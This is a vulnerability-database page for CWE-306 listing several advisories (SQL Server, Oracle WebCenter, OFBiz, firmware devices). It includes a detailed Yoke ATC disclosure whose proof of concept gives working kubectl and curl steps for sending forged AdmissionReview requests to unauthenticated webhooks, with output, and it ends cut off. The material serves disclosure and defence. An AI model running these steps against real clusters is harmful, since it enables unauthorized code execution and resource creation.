CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3494 vulnerabilities reference this CWE, most recent first.
GHSA-9429-3R47-RWH9
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-13 18:31Missing authentication for critical function in SQL Server allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-20803"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:06Z",
"severity": "HIGH"
},
"details": "Missing authentication for critical function in SQL Server allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-9429-3r47-rwh9",
"modified": "2026-01-13T18:31:08Z",
"published": "2026-01-13T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20803"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20803"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9437-GVVJ-7CRG
Vulnerability from github – Published: 2023-10-09 21:30 – Updated: 2024-04-04 08:26Incorrect access control in 70mai a500s v1.2.119 allows attackers to directly access and delete the video files of the driving recorder through ftp and other protocols.
{
"affected": [],
"aliases": [
"CVE-2023-43271"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-09T21:15:10Z",
"severity": "CRITICAL"
},
"details": "Incorrect access control in 70mai a500s v1.2.119 allows attackers to directly access and delete the video files of the driving recorder through ftp and other protocols.",
"id": "GHSA-9437-gvvj-7crg",
"modified": "2024-04-04T08:26:38Z",
"published": "2023-10-09T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43271"
},
{
"type": "WEB",
"url": "https://github.com/Question-h/vuln/blob/master/70mai_a500s_backdoor.md"
},
{
"type": "WEB",
"url": "https://github.com/Question-h/vuln/blob/master/CVE-2023-43271.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-945H-W54C-3WQ2
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. While the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-46800"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:53:57Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. While the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-945h-w54c-3wq2",
"modified": "2026-06-17T18:35:29Z",
"published": "2026-06-17T18:35:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46800"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-94HW-2W9J-MJR9
Vulnerability from github – Published: 2023-11-10 09:30 – Updated: 2023-11-14 21:30Missing Authentication in Apache Software Foundation Apache OFBiz when using the Solr plugin. This issue affects Apache OFBiz: before 18.12.09.
Users are recommended to upgrade to version 18.12.09
{
"affected": [],
"aliases": [
"CVE-2023-46819"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-07T11:15:10Z",
"severity": "MODERATE"
},
"details": "Missing Authentication in Apache Software Foundation Apache OFBiz when using the Solr plugin.\nThis issue affects Apache OFBiz: before 18.12.09.\u00a0\n\nUsers are recommended to upgrade to version 18.12.09\n\n",
"id": "GHSA-94hw-2w9j-mjr9",
"modified": "2023-11-14T21:30:53Z",
"published": "2023-11-10T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46819"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/mm5j0rsbl22q7yb0nmb6h2swbfjbwv99"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/download.html"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/release-notes-18.12.09.html"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/security.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-954J-R82G-VR2P
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43Missing authentication for critical function in SolarView Compact SV-CPT-MC310 prior to Ver.6.5 allows an attacker to alter the setting information without the access privileges via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2021-20662"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-24T12:15:00Z",
"severity": "HIGH"
},
"details": "Missing authentication for critical function in SolarView Compact SV-CPT-MC310 prior to Ver.6.5 allows an attacker to alter the setting information without the access privileges via unspecified vectors.",
"id": "GHSA-954j-r82g-vr2p",
"modified": "2022-05-24T17:43:00Z",
"published": "2022-05-24T17:43:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20662"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN37417423/index.html"
},
{
"type": "WEB",
"url": "https://www.contec.com/jp/api/downloadlogger?download=https://www.contec.com/jp/-/media/contec/jp/support/security-info/contec_security_solarview_210216.pdf"
},
{
"type": "WEB",
"url": "https://www.contec.com/jp/download/contract/contract2/?itemid=b28c8b7c-9f40-40b2-843c-b5b04c035b0e\u0026downloaditemid=fa248fba-8901-4d9e-8212-b139f2defbdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-957M-3336-C6FV
Vulnerability from github – Published: 2026-06-25 18:30 – Updated: 2026-06-25 18:30Missing authentication for critical function vulnerability in HYPR Passwordless on Windows allows Credentials Interception.
This issue affects HYPR Passwordless: before 11.1.1.
{
"affected": [],
"aliases": [
"CVE-2026-4522"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T16:16:37Z",
"severity": "MODERATE"
},
"details": "Missing authentication for critical function vulnerability in HYPR Passwordless on Windows allows Credentials Interception.\n\nThis issue affects HYPR Passwordless: before 11.1.1.",
"id": "GHSA-957m-3336-c6fv",
"modified": "2026-06-25T18:30:39Z",
"published": "2026-06-25T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4522"
},
{
"type": "WEB",
"url": "https://www.hypr.com/trust-center/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-95JX-52WR-7G4C
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-46801"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:53:57Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-95jx-52wr-7g4c",
"modified": "2026-06-17T18:35:29Z",
"published": "2026-06-17T18:35:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46801"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-95R9-QCCG-F3GC
Vulnerability from github – Published: 2024-09-30 09:30 – Updated: 2024-09-30 09:30Certain switch models from PLANET Technology lack proper access control in firmware upload and download functionality, allowing unauthenticated remote attackers to download and upload firmware and system configurations, ultimately gaining full control of the devices.
{
"affected": [],
"aliases": [
"CVE-2024-8456"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-30T08:15:04Z",
"severity": "CRITICAL"
},
"details": "Certain switch models from PLANET Technology lack proper access control in firmware upload and download functionality, allowing unauthenticated remote attackers to download and upload firmware and system configurations, ultimately gaining full control of the devices.",
"id": "GHSA-95r9-qccg-f3gc",
"modified": "2024-09-30T09:30:47Z",
"published": "2024-09-30T09:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8456"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8062-92f17-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8061-91872-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-963G-QFFH-RX88
Vulnerability from github – Published: 2024-05-01 18:30 – Updated: 2025-11-04 18:30A firmware update vulnerability exists in the luci2-io file-import functionality of Milesight UR32L v32.3.0.7-r2. A specially crafted network request can lead to arbitrary firmware update. An attacker can send a network request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-47166"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-01T16:15:06Z",
"severity": "HIGH"
},
"details": "A firmware update vulnerability exists in the luci2-io file-import functionality of Milesight UR32L v32.3.0.7-r2. A specially crafted network request can lead to arbitrary firmware update. An attacker can send a network request to trigger this vulnerability.",
"id": "GHSA-963g-qffh-rx88",
"modified": "2025-11-04T18:30:55Z",
"published": "2024-05-01T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47166"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1852"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1852"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-965M-V4CC-6334
Vulnerability from github – Published: 2026-02-12 22:06 – Updated: 2026-02-13 17:15Unauthenticated Admission Webhook Endpoints in Yoke ATC
This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. The ATC webhook endpoints lack proper authentication mechanisms, allowing any pod within the cluster network to directly send AdmissionReview requests to the webhook, bypassing Kubernetes API Server authentication. This enables attackers to trigger WASM module execution in the ATC controller context without proper authorization.
Recommended CWE: CWE-306 (Missing Authentication for Critical Function)
Summary
Yoke ATC implements multiple Admission Webhook endpoints (/validations/{airway}, /validations/resources, /validations/flights.yoke.cd, /validations/airways.yoke.cd, etc.) that process AdmissionReview requests. These endpoints do not implement TLS client certificate authentication or request source validation. Any client that can reach the ATC service within the cluster can send requests directly to these endpoints, bypassing the Kubernetes API Server's authentication and authorization mechanisms.
Details
The vulnerability exists in the HTTP handler implementation where webhook endpoints accept and process requests without verifying the client identity.
Vulnerable Endpoint Handlers (cmd/atc/handler.go:147-335):
mux.HandleFunc("POST /validations/{airway}", func(w http.ResponseWriter, r *http.Request) {
var review admissionv1.AdmissionReview
if err := json.NewDecoder(r.Body).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("failed to decode review: %v", err), http.StatusBadRequest)
return
}
// No authentication check - request is processed directly
// ...
})
Additional Unauthenticated Endpoints:
- /validations/resources (cmd/atc/handler.go:337-538)
- /validations/external-resources (cmd/atc/handler.go:540-597)
- /validations/airways.yoke.cd (cmd/atc/handler.go:599-636)
- /validations/flights.yoke.cd (cmd/atc/handler.go:638-733)
- /crdconvert/{airway} (cmd/atc/handler.go:61-145)
The code lacks: 1. TLS client certificate verification 2. Request source validation (verifying requests come from kube-apiserver) 3. Any form of authentication middleware
PoC
Environment Setup
Prerequisites: - Docker installed and running - kubectl installed - Go 1.21+ installed - kind installed
Step 1: Create Kind cluster
cat > /tmp/kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: yoke-vuln-test
nodes:
- role: control-plane
EOF
kind create cluster --config /tmp/kind-config.yaml
Step 2: Build and install Yoke CLI
git clone https://github.com/yokecd/yoke.git
cd yoke
GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke
Step 3: Deploy ATC
/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest
Step 4: Deploy Backend Airway example
/tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz"
Exploitation Steps
Step 1: Create attacker pod
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: webhook-attacker
namespace: default
spec:
containers:
- name: attacker
image: curlimages/curl:latest
command: ["sleep", "infinity"]
EOF
kubectl wait --for=condition=Ready pod/webhook-attacker --timeout=60s
Step 2: Probe webhook endpoints from attacker pod
kubectl exec webhook-attacker -- curl -k -s -w "\nHTTP_CODE: %{http_code}" \
-X POST https://atc-atc.atc.svc.cluster.local:80/validations/resources \
-H "Content-Type: application/json" -d '{}'
Actual output from verification:
panic
HTTP_CODE: 500
The HTTP 500 response (not 401/403) indicates the endpoint is accessible without authentication. The error is due to invalid request body format, not authentication failure.
Step 3: Send crafted AdmissionReview request
Create malicious request file:
cat > /tmp/malicious-review.json << 'EOF'
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "vul002-exploit-uid",
"kind": {"group": "examples.com", "version": "v1", "kind": "Backend"},
"resource": {"group": "examples.com", "version": "v1", "resource": "backends"},
"name": "exploit-backend",
"namespace": "default",
"operation": "CREATE",
"userInfo": {"username": "attacker-from-pod", "groups": ["system:unauthenticated"]},
"object": {
"apiVersion": "examples.com/v1",
"kind": "Backend",
"metadata": {"name": "exploit-backend", "namespace": "default"},
"spec": {"image": "nginx:latest", "replicas": 1}
}
}
}
EOF
kubectl cp /tmp/malicious-review.json webhook-attacker:/tmp/malicious-review.json
Send the request:
kubectl exec webhook-attacker -- curl -k -s -X POST \
https://atc-atc.atc.svc.cluster.local:80/validations/backends.examples.com \
-H "Content-Type: application/json" \
-d @/tmp/malicious-review.json
Actual output from verification:
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"vul002-normal-test","kind":{"group":"examples.com","version":"v1","kind":"Backend"},"resource":{"group":"examples.com","version":"v1","resource":"backends"},"name":"vul002-normal-backend","namespace":"default","operation":"CREATE","userInfo":{"username":"attacker-from-pod","groups":["system:unauthenticated"]},"object":{"apiVersion":"examples.com/v1","kind":"Backend","metadata":{"name":"vul002-normal-backend","namespace":"default"},"spec":{"image":"nginx:latest","replicas":1}},"oldObject":null,"options":null},"response":{"uid":"vul002-normal-test","allowed":false,"status":{"metadata":{},"status":"Failure","message":"applying resource returned errors during dry-run..."}}}
Step 4: Verify ATC logs
kubectl logs -n atc deployment/atc-atc --tail=20 | grep backends.examples.com
Actual log output:
{"time":"2026-02-01T15:29:08.890991543Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"435ms","validation":{"allowed":false,"status":"Invalid"}}
The elapsed: 435ms indicates WASM module execution occurred.
Expected Result
The attacker pod successfully sends AdmissionReview requests directly to the ATC webhook endpoint without any authentication. The ATC controller processes the request and executes the WASM module, proving that:
1. No TLS client certificate is required
2. No request source validation occurs
3. The fake userInfo is accepted without verification
4. WASM modules are executed based on unauthenticated requests
Impact
Vulnerability Type: Missing Authentication / Authentication Bypass
Attack Prerequisites: - Attacker has access to a pod within the cluster network - Network policies do not restrict access to the ATC service (common in default configurations)
Impact Assessment: - Confidentiality: Medium - Attacker can trigger WASM execution which may access controller context data - Integrity: High - Combined with VUL-001, attacker can create arbitrary Kubernetes resources - Availability: Medium - Attacker can cause resource exhaustion through repeated requests
Attack Scenario: 1. Attacker compromises a pod or gains access to the cluster network 2. Attacker sends crafted AdmissionReview requests directly to ATC webhook 3. ATC processes requests without verifying they came from the API Server 4. Combined with annotation injection (VUL-001), attacker can execute arbitrary WASM code 5. Malicious WASM can create resources or exfiltrate data using ATC's cluster-admin privileges
Severity
CVSS v3.1 Score: 7.5 (High)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Attack Vector (AV): Network - Accessible from cluster network
- Attack Complexity (AC): Low - Simple HTTP request
- Privileges Required (PR): None - No authentication required
- User Interaction (UI): None - Automatic processing
- Scope (S): Unchanged
- Confidentiality (C): None - Direct impact limited
- Integrity (I): High - Can trigger unauthorized WASM execution
- Availability (A): None - No direct availability impact
Note: When combined with VUL-001, the overall impact increases significantly.
Affected Versions
- Yoke ATC v0.18.x and earlier versions
- All versions that implement Admission Webhook endpoints without client authentication
Patched Versions
No patch available at time of disclosure.
Workarounds
- Network Policy: Deploy NetworkPolicy to restrict access to ATC service, allowing only kube-apiserver to connect
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: atc-webhook-policy
namespace: atc
spec:
podSelector:
matchLabels:
yoke.cd/app: atc
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
component: kube-apiserver
-
Service Mesh: Use a service mesh (Istio, Linkerd) to enforce mTLS between services
-
Pod Security: Implement strict pod security policies to limit which pods can be created in the cluster
References
- Yoke Project: https://github.com/yokecd/yoke
- Kubernetes Admission Webhooks: https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/
- CWE-306: Missing Authentication for Critical Function: https://cwe.mitre.org/data/definitions/306.html
Credits
credit for: @b0b0haha (603571786@qq.com) @lixingquzhi (mayedoushidalao@163.com)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/yokecd/yoke"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26055"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-12T22:06:36Z",
"nvd_published_at": "2026-02-12T22:16:06Z",
"severity": "HIGH"
},
"details": "# Unauthenticated Admission Webhook Endpoints in Yoke ATC\n\nThis vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. The ATC webhook endpoints lack proper authentication mechanisms, allowing any pod within the cluster network to directly send AdmissionReview requests to the webhook, bypassing Kubernetes API Server authentication. This enables attackers to trigger WASM module execution in the ATC controller context without proper authorization.\n\n**Recommended CWE**: CWE-306 (Missing Authentication for Critical Function)\n\n## Summary\n\nYoke ATC implements multiple Admission Webhook endpoints (`/validations/{airway}`, `/validations/resources`, `/validations/flights.yoke.cd`, `/validations/airways.yoke.cd`, etc.) that process AdmissionReview requests. These endpoints do not implement TLS client certificate authentication or request source validation. Any client that can reach the ATC service within the cluster can send requests directly to these endpoints, bypassing the Kubernetes API Server\u0027s authentication and authorization mechanisms.\n\n## Details\n\nThe vulnerability exists in the HTTP handler implementation where webhook endpoints accept and process requests without verifying the client identity.\n\n**Vulnerable Endpoint Handlers** (`cmd/atc/handler.go:147-335`):\n```go\nmux.HandleFunc(\"POST /validations/{airway}\", func(w http.ResponseWriter, r *http.Request) {\n var review admissionv1.AdmissionReview\n if err := json.NewDecoder(r.Body).Decode(\u0026review); err != nil {\n http.Error(w, fmt.Sprintf(\"failed to decode review: %v\", err), http.StatusBadRequest)\n return\n }\n // No authentication check - request is processed directly\n // ...\n})\n```\n\n**Additional Unauthenticated Endpoints**:\n- `/validations/resources` (`cmd/atc/handler.go:337-538`)\n- `/validations/external-resources` (`cmd/atc/handler.go:540-597`)\n- `/validations/airways.yoke.cd` (`cmd/atc/handler.go:599-636`)\n- `/validations/flights.yoke.cd` (`cmd/atc/handler.go:638-733`)\n- `/crdconvert/{airway}` (`cmd/atc/handler.go:61-145`)\n\nThe code lacks:\n1. TLS client certificate verification\n2. Request source validation (verifying requests come from kube-apiserver)\n3. Any form of authentication middleware\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites**:\n- Docker installed and running\n- kubectl installed\n- Go 1.21+ installed\n- kind installed\n\n**Step 1: Create Kind cluster**\n```bash\ncat \u003e /tmp/kind-config.yaml \u003c\u003c \u0027EOF\u0027\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nname: yoke-vuln-test\nnodes:\n- role: control-plane\nEOF\n\nkind create cluster --config /tmp/kind-config.yaml\n```\n\n**Step 2: Build and install Yoke CLI**\n```bash\ngit clone https://github.com/yokecd/yoke.git\ncd yoke\nGOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke\n```\n\n**Step 3: Deploy ATC**\n```bash\n/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest\n```\n\n**Step 4: Deploy Backend Airway example**\n```bash\n/tmp/yoke takeoff -wait 60s backendairway \"https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz\"\n```\n\n### Exploitation Steps\n\n**Step 1: Create attacker pod**\n```bash\nkubectl apply -f - \u003c\u003cEOF\napiVersion: v1\nkind: Pod\nmetadata:\n name: webhook-attacker\n namespace: default\nspec:\n containers:\n - name: attacker\n image: curlimages/curl:latest\n command: [\"sleep\", \"infinity\"]\nEOF\n\nkubectl wait --for=condition=Ready pod/webhook-attacker --timeout=60s\n```\n\n**Step 2: Probe webhook endpoints from attacker pod**\n```bash\nkubectl exec webhook-attacker -- curl -k -s -w \"\\nHTTP_CODE: %{http_code}\" \\\n -X POST https://atc-atc.atc.svc.cluster.local:80/validations/resources \\\n -H \"Content-Type: application/json\" -d \u0027{}\u0027\n```\n\nActual output from verification:\n```\npanic\n\nHTTP_CODE: 500\n```\n\nThe HTTP 500 response (not 401/403) indicates the endpoint is accessible without authentication. The error is due to invalid request body format, not authentication failure.\n\n**Step 3: Send crafted AdmissionReview request**\n\nCreate malicious request file:\n```bash\ncat \u003e /tmp/malicious-review.json \u003c\u003c \u0027EOF\u0027\n{\n \"apiVersion\": \"admission.k8s.io/v1\",\n \"kind\": \"AdmissionReview\",\n \"request\": {\n \"uid\": \"vul002-exploit-uid\",\n \"kind\": {\"group\": \"examples.com\", \"version\": \"v1\", \"kind\": \"Backend\"},\n \"resource\": {\"group\": \"examples.com\", \"version\": \"v1\", \"resource\": \"backends\"},\n \"name\": \"exploit-backend\",\n \"namespace\": \"default\",\n \"operation\": \"CREATE\",\n \"userInfo\": {\"username\": \"attacker-from-pod\", \"groups\": [\"system:unauthenticated\"]},\n \"object\": {\n \"apiVersion\": \"examples.com/v1\",\n \"kind\": \"Backend\",\n \"metadata\": {\"name\": \"exploit-backend\", \"namespace\": \"default\"},\n \"spec\": {\"image\": \"nginx:latest\", \"replicas\": 1}\n }\n }\n}\nEOF\n\nkubectl cp /tmp/malicious-review.json webhook-attacker:/tmp/malicious-review.json\n```\n\nSend the request:\n```bash\nkubectl exec webhook-attacker -- curl -k -s -X POST \\\n https://atc-atc.atc.svc.cluster.local:80/validations/backends.examples.com \\\n -H \"Content-Type: application/json\" \\\n -d @/tmp/malicious-review.json\n```\n\nActual output from verification:\n```json\n{\"kind\":\"AdmissionReview\",\"apiVersion\":\"admission.k8s.io/v1\",\"request\":{\"uid\":\"vul002-normal-test\",\"kind\":{\"group\":\"examples.com\",\"version\":\"v1\",\"kind\":\"Backend\"},\"resource\":{\"group\":\"examples.com\",\"version\":\"v1\",\"resource\":\"backends\"},\"name\":\"vul002-normal-backend\",\"namespace\":\"default\",\"operation\":\"CREATE\",\"userInfo\":{\"username\":\"attacker-from-pod\",\"groups\":[\"system:unauthenticated\"]},\"object\":{\"apiVersion\":\"examples.com/v1\",\"kind\":\"Backend\",\"metadata\":{\"name\":\"vul002-normal-backend\",\"namespace\":\"default\"},\"spec\":{\"image\":\"nginx:latest\",\"replicas\":1}},\"oldObject\":null,\"options\":null},\"response\":{\"uid\":\"vul002-normal-test\",\"allowed\":false,\"status\":{\"metadata\":{},\"status\":\"Failure\",\"message\":\"applying resource returned errors during dry-run...\"}}}\n```\n\n**Step 4: Verify ATC logs**\n```bash\nkubectl logs -n atc deployment/atc-atc --tail=20 | grep backends.examples.com\n```\n\nActual log output:\n```json\n{\"time\":\"2026-02-01T15:29:08.890991543Z\",\"level\":\"INFO\",\"msg\":\"request served\",\"component\":\"server\",\"code\":200,\"method\":\"POST\",\"path\":\"/validations/backends.examples.com\",\"elapsed\":\"435ms\",\"validation\":{\"allowed\":false,\"status\":\"Invalid\"}}\n```\n\nThe `elapsed: 435ms` indicates WASM module execution occurred.\n\n### Expected Result\n\nThe attacker pod successfully sends AdmissionReview requests directly to the ATC webhook endpoint without any authentication. The ATC controller processes the request and executes the WASM module, proving that:\n1. No TLS client certificate is required\n2. No request source validation occurs\n3. The fake `userInfo` is accepted without verification\n4. WASM modules are executed based on unauthenticated requests\n\n## Impact\n\n**Vulnerability Type**: Missing Authentication / Authentication Bypass\n\n**Attack Prerequisites**:\n- Attacker has access to a pod within the cluster network\n- Network policies do not restrict access to the ATC service (common in default configurations)\n\n**Impact Assessment**:\n- **Confidentiality**: Medium - Attacker can trigger WASM execution which may access controller context data\n- **Integrity**: High - Combined with VUL-001, attacker can create arbitrary Kubernetes resources\n- **Availability**: Medium - Attacker can cause resource exhaustion through repeated requests\n\n**Attack Scenario**:\n1. Attacker compromises a pod or gains access to the cluster network\n2. Attacker sends crafted AdmissionReview requests directly to ATC webhook\n3. ATC processes requests without verifying they came from the API Server\n4. Combined with annotation injection (VUL-001), attacker can execute arbitrary WASM code\n5. Malicious WASM can create resources or exfiltrate data using ATC\u0027s cluster-admin privileges\n\n## Severity\n\n**CVSS v3.1 Score**: 7.5 (High)\n\n**Vector**: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n- Attack Vector (AV): Network - Accessible from cluster network\n- Attack Complexity (AC): Low - Simple HTTP request\n- Privileges Required (PR): None - No authentication required\n- User Interaction (UI): None - Automatic processing\n- Scope (S): Unchanged\n- Confidentiality (C): None - Direct impact limited\n- Integrity (I): High - Can trigger unauthorized WASM execution\n- Availability (A): None - No direct availability impact\n\nNote: When combined with VUL-001, the overall impact increases significantly.\n\n## Affected Versions\n\n- Yoke ATC v0.18.x and earlier versions\n- All versions that implement Admission Webhook endpoints without client authentication\n\n## Patched Versions\n\nNo patch available at time of disclosure.\n\n## Workarounds\n\n1. **Network Policy**: Deploy NetworkPolicy to restrict 